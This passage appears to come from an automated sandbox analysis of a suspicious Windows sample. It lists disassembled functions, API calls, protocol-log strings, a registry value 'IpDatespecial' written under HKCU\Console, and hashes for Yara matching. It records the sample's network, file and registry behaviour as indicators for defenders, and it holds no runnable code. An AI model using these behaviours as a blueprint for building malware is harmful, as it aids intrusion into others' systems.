Part of subcall function 02D0F673: __NMSG_WRITE.LIBCMT ref: 02D0F693
Part of subcall function 02D0F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76), ref: 02D0F6B8

Strings

input probe, xrefs: 02D023A1
input psh: sn=%lu ts=%lu, xrefs: 02D022DF
input wins: %lu, xrefs: 02D023CF
input ack: sn=%lu rtt=%ld rto=%ld, xrefs: 02D022AC
[RI] %d bytes, xrefs: 02D0216F

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: AllocateHeap__vswprintf_malloc
String ID: [RI] %d bytes$input ack: sn=%lu rtt=%ld rto=%ld$input probe$input psh: sn=%lu ts=%lu$input wins: %lu
API String ID: 3723585974-868042568
Opcode ID: 6356dffafb28c0114e622ca34e3ac6bfcf9b9770fd0b49f102fa3d41998e0e56
Instruction ID: ec5a8dfb876663898902a428f67b2effb32721c6659c993a5435761ab75e96fe
Opcode Fuzzy Hash: 6356dffafb28c0114e622ca34e3ac6bfcf9b9770fd0b49f102fa3d41998e0e56
Instruction Fuzzy Hash: 43B19271A012058BCF18CF68D8C87AA77A6FF48314F0845AEED499B3A6D771DD45CBA0

Function 00972140 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 303COMMON

Download Yara Rule

APIs

Part of subcall function 00971610: __vswprintf.LIBCMT ref: 00971646

_malloc.LIBCMT ref: 00972330

Part of subcall function 00976E83: __FF_MSGBANNER.LIBCMT ref: 00976E9C
Part of subcall function 00976E83: __NMSG_WRITE.LIBCMT ref: 00976EA3
Part of subcall function 00976E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F), ref: 00976EC8

Strings

input probe, xrefs: 009723A1
input psh: sn=%lu ts=%lu, xrefs: 009722DF
[RI] %d bytes, xrefs: 0097216F
input wins: %lu, xrefs: 009723CF
input ack: sn=%lu rtt=%ld rto=%ld, xrefs: 009722AC

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: AllocateHeap__vswprintf_malloc
String ID: [RI] %d bytes$input ack: sn=%lu rtt=%ld rto=%ld$input probe$input psh: sn=%lu ts=%lu$input wins: %lu
API String ID: 3723585974-868042568
Opcode ID: f5680d2ab234ec779fb3ecac2229216d6ea76308415cf92665d41f39d30a22da
Instruction ID: 0cfcfed7bb3131a6f385dc3f8bbff999d4a344bb2f16ab5b6d14b7c858e1b750
Opcode Fuzzy Hash: f5680d2ab234ec779fb3ecac2229216d6ea76308415cf92665d41f39d30a22da
Instruction Fuzzy Hash: F7B1B072A142058BCF18DF68C8816AA7BA5BF84310F18C6AEED5D9B34AD735DD41CB90

Function 0282980F Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 302COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0282997F

Part of subcall function 0282F032: __FF_MSGBANNER.LIBCMT ref: 0282F04B
Part of subcall function 0282F032: __NMSG_WRITE.LIBCMT ref: 0282F052

_free.LIBCMT ref: 028299BF
_free.LIBCMT ref: 02829AF3
_memcpy_s.LIBCMT ref: 02829B42
_free.LIBCMT ref: 02829C55

Strings

&, xrefs: 028298A0

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free$_malloc_memcpy_s
String ID: &
API String ID: 3027343870-3042966939
Opcode ID: bc8e6e112c061139a9596f3240d429f853c34e8cae2830de5eda6c03f43a5e61
Instruction ID: c27699e32ece3fd41e4f4617ab250bfeeb5a6d9de215913b2eddef09985ce8d8
Opcode Fuzzy Hash: bc8e6e112c061139a9596f3240d429f853c34e8cae2830de5eda6c03f43a5e61
Instruction Fuzzy Hash: 24C160F9A002299BDB24CF55CCC0BAAB7B5EB48304F1085A9D60DE7241D734AAC9CF65

Function 03FAE10B Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 302COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03FAE27B

Part of subcall function 03FB392E: __FF_MSGBANNER.LIBCMT ref: 03FB3947
Part of subcall function 03FB392E: __NMSG_WRITE.LIBCMT ref: 03FB394E

_free.LIBCMT ref: 03FAE2BB
_free.LIBCMT ref: 03FAE3EF
_memcpy_s.LIBCMT ref: 03FAE43E
_free.LIBCMT ref: 03FAE551

Strings

&, xrefs: 03FAE19C

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free$_malloc_memcpy_s
String ID: &
API String ID: 3027343870-3042966939
Opcode ID: bc8e6e112c061139a9596f3240d429f853c34e8cae2830de5eda6c03f43a5e61
Instruction ID: b8d6860581260cab3622db445917d2541ce4eeb66d6f251d09a6e3c457273b5d
Opcode Fuzzy Hash: bc8e6e112c061139a9596f3240d429f853c34e8cae2830de5eda6c03f43a5e61
Instruction Fuzzy Hash: F1C161F5A006199FDB20CF59CCC0BAAB7B9FF58304F1485ADE609A7201D774AA85CF64

Function 00921807 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0092184F
_free.LIBCMT ref: 0092188D
_free.LIBCMT ref: 009218CC
_free.LIBCMT ref: 0092190C
_free.LIBCMT ref: 00921934
_free.LIBCMT ref: 00921958
_free.LIBCMT ref: 00921990

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6beac5a88b0ea45cad91d564d56e12dc9c07d13e28084cda825bb388b8fc93ec
Instruction ID: abdcb4ea0625071b2abb29542a26e7761b3376ec9e834201dfd3bc615de3cfd1
Opcode Fuzzy Hash: 6beac5a88b0ea45cad91d564d56e12dc9c07d13e28084cda825bb388b8fc93ec
Instruction Fuzzy Hash: F6516E7AA00121DFD714DF58E4C0969BBB6FF9930872A80ADD50A5B325C732AD62CBD1

Function 028211EF Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02821237
_free.LIBCMT ref: 02821275
_free.LIBCMT ref: 028212B4
_free.LIBCMT ref: 028212F4
_free.LIBCMT ref: 0282131C
_free.LIBCMT ref: 02821340
_free.LIBCMT ref: 02821378

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e6d8705c8b2e074a591befd5bcc494b5e10d3bbe54f6e4032036311d5e0cbfeb
Instruction ID: 634943709e148f1a5f3721b32bcac08ad0f3db820ae8247e788b6e6f767f2ba2
Opcode Fuzzy Hash: e6d8705c8b2e074a591befd5bcc494b5e10d3bbe54f6e4032036311d5e0cbfeb
Instruction Fuzzy Hash: C8515FBE6001249FDB10DF48C5C88A5BBA6FF49208B2980A9D51DDB762C731BD86CF91

Function 02D01830 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02D01878
_free.LIBCMT ref: 02D018B6
_free.LIBCMT ref: 02D018F5
_free.LIBCMT ref: 02D01935
_free.LIBCMT ref: 02D0195D
_free.LIBCMT ref: 02D01981
_free.LIBCMT ref: 02D019B9

Part of subcall function 02D0F639: RtlFreeHeap.NTDLL(00000000,00000000,?,02D13E4C,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76), ref: 02D0F64F
Part of subcall function 02D0F639: GetLastError.KERNEL32(00000000,?,02D13E4C,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000), ref: 02D0F661

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 874472731739e3ed89bd9027d864eadd54a143ebf7ad1ba4de8c5f14ab0f1c91
Instruction ID: f4ed7e12ecc5dd3dbc7b8f8031072183bb6c494600b263d983b3b01f7c205de1
Opcode Fuzzy Hash: 874472731739e3ed89bd9027d864eadd54a143ebf7ad1ba4de8c5f14ab0f1c91
Instruction Fuzzy Hash: 83513B72A001119FC714DF58D1C4AA9BBA6FF89318B2980ADC51E5B371C732ED42CF91

Function 00971830 Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00971878
_free.LIBCMT ref: 009718B6
_free.LIBCMT ref: 009718F5
_free.LIBCMT ref: 00971935
_free.LIBCMT ref: 0097195D
_free.LIBCMT ref: 00971981
_free.LIBCMT ref: 009719B9

Part of subcall function 00976E49: HeapFree.KERNEL32(00000000,00000000,?,00979900,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F), ref: 00976E5F
Part of subcall function 00976E49: GetLastError.KERNEL32(00000000,?,00979900,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000), ref: 00976E71

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bc88d20cc0f6977429a445edd6403ff27e90aaee80417dd20fad3f46b14158fb
Instruction ID: 7ff8c25c22d584970c88f32d4c47401b00288a0f1dc3a1db93848ab114875355
Opcode Fuzzy Hash: bc88d20cc0f6977429a445edd6403ff27e90aaee80417dd20fad3f46b14158fb
Instruction Fuzzy Hash: 14513CB7A00211CFD714DF5CD490969BBBABF89314729C0ADD64EAB321C732AD52CB91

Function 03FA5AEB Relevance: 10.7, APIs: 7, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 03FA5B33
_free.LIBCMT ref: 03FA5B71
_free.LIBCMT ref: 03FA5BB0
_free.LIBCMT ref: 03FA5BF0
_free.LIBCMT ref: 03FA5C18
_free.LIBCMT ref: 03FA5C3C
_free.LIBCMT ref: 03FA5C74

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e6d8705c8b2e074a591befd5bcc494b5e10d3bbe54f6e4032036311d5e0cbfeb
Instruction ID: b5a975afd8566387c422b775a2d2fe01bbad9db703a14a8822303b04e8b8b930
Opcode Fuzzy Hash: e6d8705c8b2e074a591befd5bcc494b5e10d3bbe54f6e4032036311d5e0cbfeb
Instruction Fuzzy Hash: 82515BB6A006158FD714DF1CC5C08A9FBF6BF8A35471A80AAC64E5F321C732AC06CB91

Function 02D03870 Relevance: 10.6, APIs: 7, Instructions: 149threadnetworktimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02D03883
SetWaitableTimer.KERNEL32(?,?,?,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 02D038C4
WSAWaitForMultipleEvents.WS2_32(00000004,?,00000000,000000FF,00000000), ref: 02D03931
GetCurrentThreadId.KERNEL32 ref: 02D0395C
GetLastError.KERNEL32(?,00000000,000000FF,00000000), ref: 02D039F4
SetLastError.KERNEL32(0000139F,?,00000000,000000FF,00000000), ref: 02D03A22
WSAGetLastError.WS2_32(?,00000000,000000FF,00000000), ref: 02D03A39

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ErrorLast$CurrentThread$EventsMultipleTimerWaitWaitable
String ID:
API String ID: 3058130114-0
Opcode ID: de71ac5ef7f7e253a5b35e71380481dd066bca75754425ea5e6991937387e296
Instruction ID: 1ccce3da4e03601eb6df49870f131bfcd57e7852aadf4abe8542a4fe467ae376
Opcode Fuzzy Hash: de71ac5ef7f7e253a5b35e71380481dd066bca75754425ea5e6991937387e296
Instruction Fuzzy Hash: 7151AA70A007009BDBA09F29E9C4BAAB7E5FF04714F10495AED9A977E0EB31ED40CB51

Function 00973870 Relevance: 10.6, APIs: 7, Instructions: 149threadnetworktimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00973883
SetWaitableTimer.KERNEL32(?,?,?,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 009738C4
WSAWaitForMultipleEvents.WS2_32(00000004,?,00000000,000000FF,00000000), ref: 00973931
GetCurrentThreadId.KERNEL32 ref: 0097395C
GetLastError.KERNEL32(?,00000000,000000FF,00000000), ref: 009739F4
SetLastError.KERNEL32(0000139F,?,00000000,000000FF,00000000), ref: 00973A22
WSAGetLastError.WS2_32(?,00000000,000000FF,00000000), ref: 00973A39

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ErrorLast$CurrentThread$EventsMultipleTimerWaitWaitable
String ID:
API String ID: 3058130114-0
Opcode ID: e01fde8b771e6154370e0c88514f3ec5c9f85b9d0321c3dbddcdda513cb2a0fd
Instruction ID: 400aa948f3537d4c166c7f2c72b5339eb189dae8186cd5d9bf3af35796400cdb
Opcode Fuzzy Hash: e01fde8b771e6154370e0c88514f3ec5c9f85b9d0321c3dbddcdda513cb2a0fd
Instruction Fuzzy Hash: 1051A372604701DBD7209F24C985BAAB7E8BF44714F10C519EA9ED7780EB74FA40EB51

Function 02D0E6B0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,?,02D0E815,?,?,?,?,76F923A0,00000000), ref: 02D0E6BD
CreateFileW.KERNEL32(02D30D80,40000000,00000002,00000000,00000004,00000002,00000000,?,?,02D0E815,?,?,?,?,76F923A0,00000000), ref: 02D0E6D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 02D0E6F2
lstrlenW.KERNEL32(?,00000000,00000000), ref: 02D0E6FF
WriteFile.KERNEL32(00000000,?,00000000), ref: 02D0E70A
CloseHandle.KERNEL32(00000000), ref: 02D0E711
ReleaseMutex.KERNEL32(00000000), ref: 02D0E71E

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: cf4592dea16ef979bcc8e31df3777677be9c2b45f352218744424e72141efd5e
Instruction ID: c9e591bb775b686bdaadb7255d973898af0d4048c8830fade9ced8bb7d34b95a
Opcode Fuzzy Hash: cf4592dea16ef979bcc8e31df3777677be9c2b45f352218744424e72141efd5e
Instruction Fuzzy Hash: 3F018171AC1210BBE3345BA4EC4FF5A3768EB49B25F614A04FB15A63C0D6A16C248665

Function 02D13D2E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,02D26318,00000008,02D13E36,00000000,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C), ref: 02D13D3F
__lock.LIBCMT ref: 02D13D73

Part of subcall function 02D18E5B: __mtinitlocknum.LIBCMT ref: 02D18E71
Part of subcall function 02D18E5B: __amsg_exit.LIBCMT ref: 02D18E7D
Part of subcall function 02D18E5B: EnterCriticalSection.KERNEL32(00000000,00000000,?,02D13F06,0000000D,02D26340,00000008,02D13FFF,00000000,?,02D110F0,00000000,02D26278,00000008,02D11155,?), ref: 02D18E85

InterlockedIncrement.KERNEL32(?), ref: 02D13D80
__lock.LIBCMT ref: 02D13D94
___addlocaleref.LIBCMT ref: 02D13DB2

Strings

KERNEL32.DLL, xrefs: 02D13D3A

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 3396b14031d31d2122c26f53994c45e9dbabe40eb77878f3e61cbc7e8ef6dcb3
Instruction ID: 42fca0dd1741c7345b11d6f61d778ae793118cffcebb2e6741103cb710768137
Opcode Fuzzy Hash: 3396b14031d31d2122c26f53994c45e9dbabe40eb77878f3e61cbc7e8ef6dcb3
Instruction Fuzzy Hash: 8D016171940700EAE7609F65E90474AFBE1EF50314F20898DE4DA97B90CB74AD48CF25

Function 009797E2 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00987C00,00000008,009798EA,00000000,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C), ref: 009797F3
__lock.LIBCMT ref: 00979827

Part of subcall function 0097C144: __mtinitlocknum.LIBCMT ref: 0097C15A
Part of subcall function 0097C144: __amsg_exit.LIBCMT ref: 0097C166
Part of subcall function 0097C144: EnterCriticalSection.KERNEL32(00000000,00000000,?,009799BA,0000000D,00987C28,00000008,00979AB1,00000000,?,00977711,00000000,00987B60,00000008,00977776,?), ref: 0097C16E

InterlockedIncrement.KERNEL32(?), ref: 00979834
__lock.LIBCMT ref: 00979848
___addlocaleref.LIBCMT ref: 00979866

Strings

KERNEL32.DLL, xrefs: 009797EE

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: b8df977d62eb303c084a96ab75a02417019909700f4a7f66d465bd33bbaadad6
Instruction ID: fafeeae7c7118a518a3bd4cc04e766f2bd9d63c339dc6979631f0a2fd439acbb
Opcode Fuzzy Hash: b8df977d62eb303c084a96ab75a02417019909700f4a7f66d465bd33bbaadad6
Instruction Fuzzy Hash: 930184B2405B00EFD720AF65D845749FBF0EF91324F14850EE4DA973A1CBB4A644CB15

Function 02D0B78C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002), ref: 02D0B7A7
RegDeleteValueW.ADVAPI32(?,IpDatespecial), ref: 02D0B7B7
RegSetValueExW.ADVAPI32(?,IpDatespecial,00000000,00000003,?,00000004), ref: 02D0B7CE
RegCloseKey.ADVAPI32(?,?,00000004), ref: 02D0B7D9

Strings

Console, xrefs: 02D0B79D
IpDatespecial, xrefs: 02D0B7B1, 02D0B7C8

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Value$CloseDeleteOpen
String ID: Console$IpDatespecial
API String ID: 3183427449-1840232981
Opcode ID: 05d62a97f57bd6d1fb2c1d8f3acf79e1af655e9c26e2353c288a8a566f02b2db
Instruction ID: 2411c78eb43c942e65693480f45814a5a178122a37822b55bd44b6732229693f
Opcode Fuzzy Hash: 05d62a97f57bd6d1fb2c1d8f3acf79e1af655e9c26e2353c288a8a566f02b2db
Instruction Fuzzy Hash: 4DF0A775784340FBF3384760BD4FF66B764F798705FA04A4DFB856528086A0A91CC655

Function 02D202FC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02D2031D

Part of subcall function 02D13E5B: __getptd_noexit.LIBCMT ref: 02D13E5E
Part of subcall function 02D13E5B: __amsg_exit.LIBCMT ref: 02D13E6B

__getptd.LIBCMT ref: 02D2032E
__getptd.LIBCMT ref: 02D2033C

Strings

RCC, xrefs: 02D20308
MOC, xrefs: 02D2030F
csm, xrefs: 02D20316

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: a1f0d33c8d38bd48e94782b4de51ff7935ea793739f44933f6f473294c896614
Instruction ID: 00f9656766701615ff912ebf61e531beccd01da158fc80f69ce8c3f7c5a263e2
Opcode Fuzzy Hash: a1f0d33c8d38bd48e94782b4de51ff7935ea793739f44933f6f473294c896614
Instruction Fuzzy Hash: E4E01238504314DFCB209768D14AB6837E5EB64719F5505E1D44CCB721C738DC94CD52

Function 009833F1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00983412

Part of subcall function 0097990F: __getptd_noexit.LIBCMT ref: 00979912
Part of subcall function 0097990F: __amsg_exit.LIBCMT ref: 0097991F

__getptd.LIBCMT ref: 00983423
__getptd.LIBCMT ref: 00983431

Strings

MOC, xrefs: 00983404
RCC, xrefs: 009833FD
csm, xrefs: 0098340B

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 6cafc6eb67b1167ca934f12c74b901a19b36c58c2209ef507fb1707306695bdb
Instruction ID: 0d71437a906981ca1996715dd55b302117a411813dcadf5988750999b5a3f407
Opcode Fuzzy Hash: 6cafc6eb67b1167ca934f12c74b901a19b36c58c2209ef507fb1707306695bdb
Instruction Fuzzy Hash: 61E012315041088ED710A778C08AB6932E8FBC4714F5984A9E51DCB333D728DE508642

Function 02D09C30 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02D09C3F

Part of subcall function 02D0F673: __FF_MSGBANNER.LIBCMT ref: 02D0F68C
Part of subcall function 02D0F673: __NMSG_WRITE.LIBCMT ref: 02D0F693
Part of subcall function 02D0F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76), ref: 02D0F6B8

_free.LIBCMT ref: 02D09C63
_memset.LIBCMT ref: 02D09CBB

Part of subcall function 02D0A610: GetObjectW.GDI32(?,00000054,?), ref: 02D0A62E

CreateDIBSection.GDI32(00000000,00000008,00000000,00000000,00000000,00000000), ref: 02D09CD3
_free.LIBCMT ref: 02D09CE4
_free.LIBCMT ref: 02D09D23

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free$AllocateCreateHeapObjectSection_malloc_memset
String ID:
API String ID: 1756752955-0
Opcode ID: f3c3e870e5e2a03c944868ea92aeb26a6891fdac89498b1ba600bd8bf0326d23
Instruction ID: 5bcb02cb21799c98bfe47af411aeec778827c3dd10a28c2e4769132a306143db
Opcode Fuzzy Hash: f3c3e870e5e2a03c944868ea92aeb26a6891fdac89498b1ba600bd8bf0326d23
Instruction Fuzzy Hash: F331D6B2A00305ABE310DF65D8D0B9677E8FF48714F00853AD909C77A1E7B0E854CBA4

Function 02D05080 Relevance: 9.1, APIs: 6, Instructions: 107networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(000002FF), ref: 02D050CA
WSASetLastError.WS2_32(0000139F), ref: 02D050E2
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,?,00000000,000000FF), ref: 02D050EC

Memory Dump Source

